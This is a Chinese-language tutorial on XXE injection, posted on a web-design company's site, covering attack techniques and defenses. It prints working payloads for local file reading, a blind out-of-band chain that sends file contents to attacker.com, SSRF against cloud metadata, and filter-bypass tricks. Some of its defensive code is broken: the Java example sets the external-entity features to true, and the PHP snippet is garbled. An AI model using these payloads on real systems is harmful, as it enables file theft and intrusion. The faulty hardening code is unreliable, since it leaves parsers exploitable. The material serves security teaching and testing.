尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

XXE漏洞攻防实战:从原理到防御的XML外部实体注入全解析

XXE漏洞攻防实战:从原理到防御的XML外部实体注入全解析
📅 发布时间:2026/6/26 19:31:56

1. 项目概述:为什么XXE漏洞至今仍是“隐形杀手”?

在渗透测试和红队评估的实战中,我们常常把目光聚焦在SQL注入、XSS、RCE这些“明星”漏洞上,它们动静大、效果直观。但有一种漏洞,它往往隐藏在看似无害的数据交换格式背后,利用的是系统最基础、最信任的功能,一旦得手,轻则读取服务器敏感文件,重则引发内网探测甚至远程代码执行。这就是XML外部实体注入,也就是我们常说的XXE。我第一次在真实业务中遇到它,是在一个对外提供API服务的金融系统里,攻击者通过一个精心构造的订单XML,竟然读走了服务器上的/etc/passwd文件,那一刻我才深刻体会到,对XML解析器的盲目信任是多么危险。

XXE攻击之所以被称作“隐形杀手”,是因为它的攻击面非常广泛。从古老的SOAP Web Service到现代的RESTful API(当它们使用XML作为数据格式时),从文档解析器到Office文件处理,甚至一些物联网设备的配置接口,都可能成为它的入口。很多开发者和安全人员对JSON的关注度远高于XML,认为XML是老掉牙的技术,从而忽略了其潜在的安全配置。这种认知偏差,恰恰给了XXE生存的空间。本文将从一线攻防的视角,彻底拆解XXE的原理,手把手演示几种核心的利用手法,并给出从代码到架构层面的立体防御方案。无论你是开发者、安全工程师还是对Web安全感兴趣的爱好者,理解XXE都能让你对数据安全有更深一层的认识。

2. XXE攻击原理深度拆解:信任是如何被滥用的?

要理解XXE,必须先理解XML的外部实体是什么。这不仅仅是概念,更是攻击的基石。

2.1 XML实体与DTD:被遗忘的“功能”

XML本身是一种标记语言,而DTD(文档类型定义)是其早期用于定义文档结构的一种方式。实体(Entity)是DTD中的一个核心概念,你可以把它理解为一种宏定义或变量替换。例如,在一个DTD中定义<!ENTITY company “ACME Corp”>,那么在XML文档体中,使用&company;就会被解析器替换为 “ACME Corp”。

外部实体(External Entity)则将这种替换扩展到了文件系统或网络资源。其语法是:

<!ENTITY 实体名 SYSTEM “URI”>

这里的“URI”可以是file://、http://、ftp://等协议。当XML解析器处理到&实体名;时,它会去访问这个URI指向的资源,并将其内容作为实体值进行替换。

这就是一切问题的根源:XML解析器默认信任并执行DTD中定义的指令。如果一个攻击者能够控制或向XML文档中注入恶意的DTD定义,特别是包含SYSTEM关键词的外部实体定义,那么解析器就会成为攻击者读取本地文件、发起网络请求的“代理”。

2.2 攻击发生的核心条件:三要素缺一不可

一个成功的XXE攻击,通常需要同时满足以下三个条件,这就像一把锁的三道簧片,全部对准才能打开:

  1. 应用程序接受XML格式的输入:这是入口。无论是上传文件、API请求体(Content-Type: application/xml)、还是URL参数,只要服务端会解析这些XML数据,就有可能存在风险。值得注意的是,一些基于XML的格式如SOAP、RSS、SVG、DOCX(其本质是ZIP包内的XML)等,都是潜在的入口点。
  2. XML解析器配置了允许外部实体解析:这是关键。并非所有解析器默认都开启此功能。例如,Java的JAXP、Python的lxml、PHP的libxml,其默认行为或旧版本可能允许外部实体加载,而较新版本或经过安全配置的解析器则会禁用此功能。
  3. 攻击者能够控制XML内容或影响DTD:这是手段。攻击者需要能够插入或修改XML结构,特别是DOCTYPE声明部分。这可以通过直接输入、文件上传、或者通过参数污染、XXE盲注等方式间接实现。

注意:很多开发者会误以为“我们的接口只接收特定结构的XML,用户无法修改DTD”。但实际上,XML规范允许在文档内部声明DTD。攻击者完全可以在他可控的XML数据部分,直接嵌入恶意的<!DOCTYPE [...]>声明,从而绕过服务端对固定DTD的校验。

2.3 解析器行为差异:Java vs. PHP vs. Python

不同语言和库的默认行为不同,这直接影响了漏洞的普遍性和利用难度。了解这些差异,有助于我们进行针对性的安全审计。

  • Java (DocumentBuilderFactory, SAXParserFactory): 在Java中,DocumentBuilderFactory和SAXParserFactory是常用的解析器工厂。在JDK 7u4及以前版本,或未显式配置安全属性的情况下,它们默认是允许加载外部实体的。这是历史上大量XXE漏洞的根源。必须手动设置FEATURE_SECURE_PROCESSING或显式禁用相关特性才能防御。

  • PHP (simplexml_load_string, DOMDocument): PHP的libxml库在2.9.0版本之前,默认允许加载外部实体。使用simplexml_load_string()或DOMDocument::loadXML()等函数时,如果未传递LIBXML_NOENT参数(注意:这个参数名容易误解,它实际上是“替换实体”的意思,会启用实体替换,包括外部实体),且运行在旧版本libxml上,则存在风险。新版PHP通常需要显式配置。

  • Python (lxml.etree, xml.etree.ElementTree): Python的标准库xml.etree.ElementTree从Python 3.7.1开始默认不解析外部实体,相对安全。但更强大、也更流行的第三方库lxml.etree,其默认行为取决于底层libxml2的版本和解析器设置。使用lxml.etree.XMLParser或lxml.etree.parse()时,需要显式设置resolve_entities=False来确保安全。

实操心得:在代码审计时,不要只看语言,一定要定位到具体的解析函数和其使用的库版本。一个简单的搜索DocumentBuilderFactory.newInstance()、simplexml_load_string、lxml.etree.parse就能找到大部分风险点。

3. XXE攻击利用手法实战:从文件读取到SSRF

理解了原理,我们进入实战环节。我会用一个简单的靶场环境(例如一个接收XML的HTTP API)作为背景,演示几种典型的利用方式。假设我们有一个用户信息更新接口POST /api/user/update,接受XML格式数据。

3.1 经典文件读取:直捣黄龙

这是最基本也是最常见的利用方式,目标是读取服务器上的任意文件。

攻击载荷示例:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <userUpdate> <userId>1</userId> <name>John</name> <email>&xxe;</email> </userUpdate>

攻击过程解析:

  1. 构造恶意DTD:在<!DOCTYPE foo [...]>中,我们定义了一个名为xxe的外部实体,其SYSTEM标识符指向file:///etc/passwd。
  2. 实体引用:在XML正文的<email>标签内,我们引用了这个实体&xxe;。
  3. 解析器行为:不安全的解析器在处理到&xxe;时,会尝试加载该外部实体,即读取/etc/passwd文件的内容。
  4. 结果:/etc/passwd文件的内容会被替换到<email>标签的值中。如果这个值会在API的响应里返回(例如返回更新后的用户信息),那么攻击者就能直接看到文件内容。即使不直接回显,也可能通过报错信息、日志记录等方式间接泄露。

关键技巧与变种:

  • 读取含特殊字符的文件:file://协议读取包含<、&等XML特殊字符的文件(如二进制文件、某些配置文件)时,会导致XML解析错误。此时可以使用PHP的filter协议(如果服务器是PHP环境)进行编码转换:php://filter/convert.base64-encode/resource=/etc/passwd,读取到的是Base64编码后的内容,解码即可。
  • 目录遍历:利用file:///../../etc/passwd进行路径穿越,读取其他目录文件。
  • Windows系统:路径格式为file:///C:/Windows/win.ini。

3.2 盲注XXE:没有回显怎么办?

很多时候,文件内容不会直接显示在响应中。这时就需要利用“带外数据”(Out-of-Band, OOB)技术,也就是让服务器主动把数据发送到我们控制的第三方服务器上。

攻击载荷示例:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <userUpdate> <userId>1</userId> <name>John</name> </userUpdate>

攻击者控制的http://attacker.com/evil.dtd文件内容:

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/exfil?data=%file;'>"> %all;

攻击过程解析(这是精髓):

  1. 定义参数实体:在内部DTD中,% file是一个参数实体(以%开头),它试图读取/etc/hostname。
  2. 引入外部DTD:% dtd参数实体引入了攻击者服务器上的evil.dtd。注意:许多解析器不允许在内部实体中嵌套外部实体,但允许引入外部参数实体。这是盲注成功的关键。
  3. 执行外部DTD:%dtd;执行,加载远程DTD。
  4. 远程DTD构造攻击链:远程DTD定义了一个嵌套的参数实体%all,其内容是一个通用实体&send;的定义。这个send实体会向攻击者的服务器发起一个HTTP请求,并将%file;(即/etc/hostname的内容)作为URL参数data的值发送出去。
  5. 数据外泄:攻击者只需要在自己的服务器(attacker.com)上监听HTTP请求,查看访问日志,就能看到/etc/hostname文件的内容被包含在/exfil?data=...这个请求中。

注意:这种利用方式对XML解析器的行为有更细致的要求,它需要解析器支持外部参数实体(很多解析器支持)并且允许在外部DTD中定义实体。这是检测“盲XXE”漏洞的经典方法。

3.3 XXE引发的SSRF:穿透内网的跳板

由于外部实体支持http://协议,XXE天然就可以用来发起服务器端请求,从而变成一种SSRF攻击。这比单纯的读取文件更危险,因为它可以探测或攻击服务器所在内网的其他服务。

攻击载荷示例:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> ... <email>&xxe;</email>

利用场景:

  1. 云元数据服务:如AWS、阿里云、腾讯云等,其元数据服务通常位于169.254.169.254这个链路本地地址。通过XXE访问该地址,可能直接获取云主机的AccessKey、安全组信息等高敏感元数据。
  2. 内网服务探测:扫描内网IP段和端口,例如http://192.168.1.1:8080/admin,探测内网存在的Web应用、API接口。
  3. 攻击内部脆弱服务:如果内网存在未授权访问的Redis、Memcached或脆弱的管理界面,可以通过XXE向其发送恶意请求,可能造成进一步入侵。

实操心得:在渗透测试中,如果发现一个XXE点,我的第一反应不是读/etc/passwd,而是尝试用它去访问http://169.254.169.254/或http://localhost/,看看能否揭示出更关键的基础设施信息。这往往能打开新的攻击面。

3.4 进阶利用:从XXE到RCE的艰难之路

理论上,通过XXE执行系统命令是可能的,但条件极为苛刻,在实际中很少见。它通常需要依赖特定环境:

  • PHP的expect协议:<!ENTITY xxe SYSTEM "expect://id">。但这需要PHP安装了expect扩展,这在生产环境中极其罕见。
  • Java的特定协议处理器:如通过jar:、javafx:等协议,结合应用自身逻辑实现复杂攻击链。
  • 利用后端其他漏洞:例如,通过XXE读取服务器上的/proc/self/environ获取环境变量,可能找到密钥;或者读取应用配置文件,发现数据库密码,再结合其他漏洞实现突破。

对于RCE,我们应将其视为XXE的一种潜在、但概率很低的深远影响,在风险评估时给予关注,但在实际防御中,核心还是阻断文件读取和SSRF。

4. 自动化探测与手动验证流程

在安全测试中,系统性地发现和验证XXE漏洞至关重要。

4.1 漏洞探测:工具与手工结合

  1. 入口点识别:

    • 抓包观察:使用Burp Suite或OWASP ZAP拦截所有HTTP请求,寻找Content-Type: application/xml、text/xml的请求,或者参数值、文件内容疑似XML结构的请求。
    • 文件上传:测试上传SVG、DOCX、PPTX、XML等格式文件的功能。
    • API文档:查看Swagger/OpenAPI文档,明确哪些接口支持XML输入。
  2. 初步探测Payload: 向疑似入口点提交一个包含简单外部DTD的请求,观察响应。

    <?xml version="1.0"?><!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://YOUR-BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>

    这里使用Burp Suite的Collaborator客户端生成一个唯一子域名。如果服务器解析了外部实体,它会向这个子域名发起DNS或HTTP请求,Collaborator会收到通知,从而确认漏洞存在。这是检测“盲XXE”最有效的方法。

  3. 工具辅助:

    • Burp Suite Active Scan:专业版和社区版的主动扫描器都能检测部分XXE。
    • XXEInjector、dtd-finder等专用工具可以自动化尝试多种Payload。

4.2 手动验证与利用步骤

自动化工具可能漏报或误报,手动验证是最终确认环节。

步骤一:确认解析与回显提交一个包含无害内部实体的XML,看是否被解析。

<!DOCTYPE test [ <!ENTITY name "vulntest"> ]> <foo>&name;</foo>

如果响应中&name;被替换为vulntest,说明DTD和实体被解析,且该位置有回显。

步骤二:尝试文件读取使用file://协议尝试读取已知文件,如Linux下的/etc/passwd、/proc/self/environ,Windows下的c:\windows\win.ini。注意观察响应内容、响应时间变化或报错信息。

步骤三:尝试带外通信(OOB)如果无回显,立即使用Burp Collaborator Payload进行盲注测试。确认收到DNS/HTTP交互请求。

步骤四:尝试SSRF替换为http://169.254.169.254/或http://localhost:8080等地址,探测SSRF。

步骤五:尝试绕过限制如果上述简单Payload被WAF或简单过滤拦截,尝试以下绕过技巧:

  • 编码绕过:使用UTF-16、UTF-7编码发送XML。
  • 协议包装:在支持的环境下,尝试php://filter、compress.zlib://等包装器。
  • DTD引用方式:尝试使用外部参数实体(%)代替内部实体,或者将恶意DTD放在远程服务器上引用。

5. 多层次防御体系构建:从代码到架构

防御XXE不是简单地禁用某个开关,而是一个从解析器配置、输入处理到整体架构的立体工程。

5.1 代码层:配置安全的XML解析器(最关键)

这是最直接有效的防御手段,原则就是禁用外部实体和DTD处理。

Java示例 (使用DocumentBuilderFactory):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // 必须设置的几个关键安全特性 String[] features = { "http://apache.org/xml/features/disallow-doctype-decl", // 禁用DTD "http://xml.org/sax/features/external-general-entities", // 禁用外部通用实体 "http://xml.org/sax/features/external-parameter-entities", // 禁用外部参数实体 "http://apache.org/xml/features/nonvalidating/load-external-dtd" // 禁止加载外部DTD }; for (String feature : features) { dbf.setFeature(feature, true); } dbf.setXIncludeAware(false); // 禁用XInclude(另一种可能的风险) dbf.setExpandEntityReferences(false); // 不展开实体引用 DocumentBuilder db = dbf.newDocumentBuilder();

Python示例 (使用lxml):

from lxml import etree # 创建解析器时明确禁用实体解析 parser = etree.XMLParser(resolve_entities=False, no_network=True) # no_network 提供额外保护 tree = etree.parse(xml_source, parser) # 或者使用 fromstring # tree = etree.fromstring(xml_string, parser=parser)

PHP示例:

// 使用 libxml_disable_entity_loader 是最彻底的方法(PHP >= 8.0 已移除,需用其他方式) if (PHP_VERSION_ID < 80000) { libxml_disable_entity_loader(true); } // 使用 DOMDocument $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); // 注意:LIBXML_NOENT 是危险的! // 正确做法:避免使用LIBXML_NOENT,或升级到更新版本并使用LIBXML_NOENT的替代方案。 // 推荐使用: $dom->loadXML($xml, LIBXML_NOENT & ~LIBXML_NOENT); // 实际上,直接传递0或省略更安全,但需测试 // 更佳实践:使用 modern XML 库如 `xmlwriter` 或 `SimpleXML` 并确保环境安全。

Node.js示例 (使用libxmljs2):

const libxml = require('libxmljs2'); const options = { noblanks: true, noent: false, // 关键:禁止实体替换 dtdload: false, // 不加载DTD doctype: false // 忽略文档类型 }; try { const xmlDoc = libxml.parseXmlString(xmlString, options); } catch (e) { ... }

5.2 架构与运维层:纵深防御

  1. 使用更安全的数据格式:在新项目中,优先选择JSON而非XML。JSON没有外部实体的概念,从根本上避免了此类问题。对于必须使用XML的场景(如SOAP、行业标准),则严格执行上述安全配置。
  2. 部署运行时保护(RASP/ WAF):在应用服务器层面部署具有XXE防护规则的Web应用防火墙(WAF)。虽然可能存在绕过,但能阻挡大部分自动化攻击和简单Payload。运行时应用自我保护(RASP)能更深度地监控XML解析库的调用和参数,拦截恶意实体加载行为。
  3. 严格的输入验证与净化:
    • 模式验证:使用XSD(XML Schema Definition)对输入的XML进行严格的结构和内容验证。确保传入的XML符合预期的格式,可以在解析前拒绝包含DOCTYPE声明的非法XML。
    • 内容过滤:在XML传入解析器之前,使用正则表达式或专用过滤器,移除或转义XML中的<!DOCTYPE、<!ENTITY、SYSTEM等关键词。注意:这种方法容易因过滤不全被绕过,应作为辅助手段,而非主要防御。
  4. 最小权限原则:运行应用程序的操作系统用户应具有最小必要权限。即使XXE漏洞被利用,攻击者也只能读取该用户有权访问的文件,无法触及关键系统文件。
  5. 网络隔离:将应用服务器部署在受限的网络环境中,通过防火墙策略限制其对外发起HTTP、FTP等请求的能力。这可以极大缓解XXE用于SSRF和内网探测的风险。

5.3 安全开发生命周期(SDLC)集成

  1. 安全培训:让开发人员了解XXE的风险,知道如何安全地配置XML解析器。
  2. 安全组件/库:在内部基础组件库中,提供已经过安全配置的XML解析工具类或函数,供所有项目直接调用,避免每个开发者重复配置或配置错误。
  3. 代码审计与扫描:将XXE作为SAST(静态应用安全测试)和SCA(软件成分分析)工具的必查项。在代码提交和CI/CD流水线中自动扫描相关危险函数和不安全配置。
  4. 渗透测试与漏洞扫描:定期对应用进行渗透测试,并包含针对XXE的专项测试用例。

6. 常见问题与排查技巧实录

在实际开发和应急响应中,会遇到一些典型问题。

6.1 问题排查速查表

问题现象可能原因排查步骤
修复后应用解析XML报错安全配置过于严格,禁用了业务需要的合法实体或DTD。1. 检查业务逻辑是否确实需要DTD(如验证)。
2. 如果必须使用DTD,确保使用本地、可信的DTD文件,并禁用外部实体加载。
3. 使用XSD代替DTD进行验证,更安全灵活。
WAF拦截了合法XML请求WAF的XXE防护规则存在误报,可能检测到了合法的<!ENTITY声明(如某些标准XML模板)。1. 分析WAF日志,确认触发规则的具体Payload。
2. 将合法的、业务必需的XML模式加入WAF白名单。
3. 调整WAF规则敏感度,或采用基于语义分析的高级防护模式。
升级库后XXE漏洞仍存在升级了XML库版本,但代码中解析XML的方式或构造函数未更新,仍在使用旧的不安全模式。1. 确认代码中实际调用的解析类和方法。
2. 检查是否在代码中显式设置了不安全的特性(如setExpandEntityReferences(true))。
3. 全局搜索DocumentBuilderFactory、SAXParser、XMLReader等关键词,逐一审查配置。
盲XXE探测无结果1. 目标确实不存在漏洞。
2. 网络出站限制,服务器无法访问你的Collaborator域名。
3. 解析器仅支持内部实体,不支持外部参数实体。
1. 尝试使用DNS协议进行OOB测试(有时网络策略对DNS放行)。
2. 尝试使用不同的端口(如53-DNS, 80-HTTP, 443-HTTPS)。
3. 回退到有回显的文件读取测试,确认XML解析功能是否正常。

6.2 独家避坑技巧

  1. “默认安全”的陷阱:不要轻信“新版默认安全”。例如,虽然Python的xml.etree.ElementTree较新版本默认安全,但如果你使用fromstring()时传入了自定义的parser对象,而这个parser配置不当,风险依然存在。永远显式配置安全属性。
  2. 依赖库的间接风险:你的应用可能没有直接解析XML,但你引入的第三方库(如PDF生成库、Office文档处理库)可能会在底层解析XML。使用OWASP Dependency-Check等工具定期扫描项目依赖,关注相关CVE。
  3. XXE的“变形”:除了标准的XML输入,还要关注XInclude攻击。如果解析器支持XInclude且配置不当,攻击者可以利用<xi:include>元素达到类似XXE的效果。防御时需同时禁用XInclude。
  4. 日志与监控:在应用日志中记录所有XML解析错误。异常的FileNotFoundException(尝试访问file://)或UnknownHostException(尝试访问外部URL)可能是攻击尝试的迹象。建立对应的安全告警。
  5. 测试用例设计:在单元测试和集成测试中,加入针对XXE的负面测试用例。提交包含恶意DTD的XML,断言应用应抛出安全异常或拒绝请求,而不是正常处理。这能有效防止安全配置在后续开发中被意外修改。

XXE漏洞的防御,归根结底是改变对XML这种“可编程”数据格式的默认信任态度。它提醒我们,任何一段被解析的数据,都可能包含指令。而安全开发,就是要在执行这些指令之前,戴上“不信任”的眼镜,仔细审查每一条规则。从我处理过的案例来看,一个全面禁用了外部实体和DTD的解析器配置,配合严格的输入模式验证,足以抵御绝大多数XXE攻击。把这个作为项目的基础安全规范固化下来,其投入产出比非常高。

相关新闻

  • 强力鼠标点击控制:VLC暂停播放插件的终极指南
  • SwiftFormat:Swift 项目的代码格式化利器
  • 如何快速批量去除视频水印:面向内容创作者的完整解决方案

最新新闻

  • HarmonyOS7 网络卡顿别只会重试:QUIC、持久连接和预建链优化
  • Navicat重置教程:macOS上无限试用Navicat Premium的终极指南
  • 【课程设计/毕业设计】基于 SpringBoot+Vue 的企业员工运维日志管理系统的设计与实现 基于 SpringBoot+Vue 的员工工作轨迹记录管理系统【附源码、数据库、万字文档】
  • 基于CAMx的空气质量模拟及污染来源解析技术与案例分析
  • 靠谱AI营销的企业
  • ThinkAdmin路径遍历漏洞CVE-2020-25540深度剖析与防御实战

日新闻

  • Qwen2.5-Turbo百万上下文实战指南:百炼平台长文本处理全解析
  • 怎么监控对标账号更新,2026年作者监控工作流,5款深度对比
  • EdgeRemover:专业级Windows Edge浏览器管理工具,彻底解决顽固软件卸载难题

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号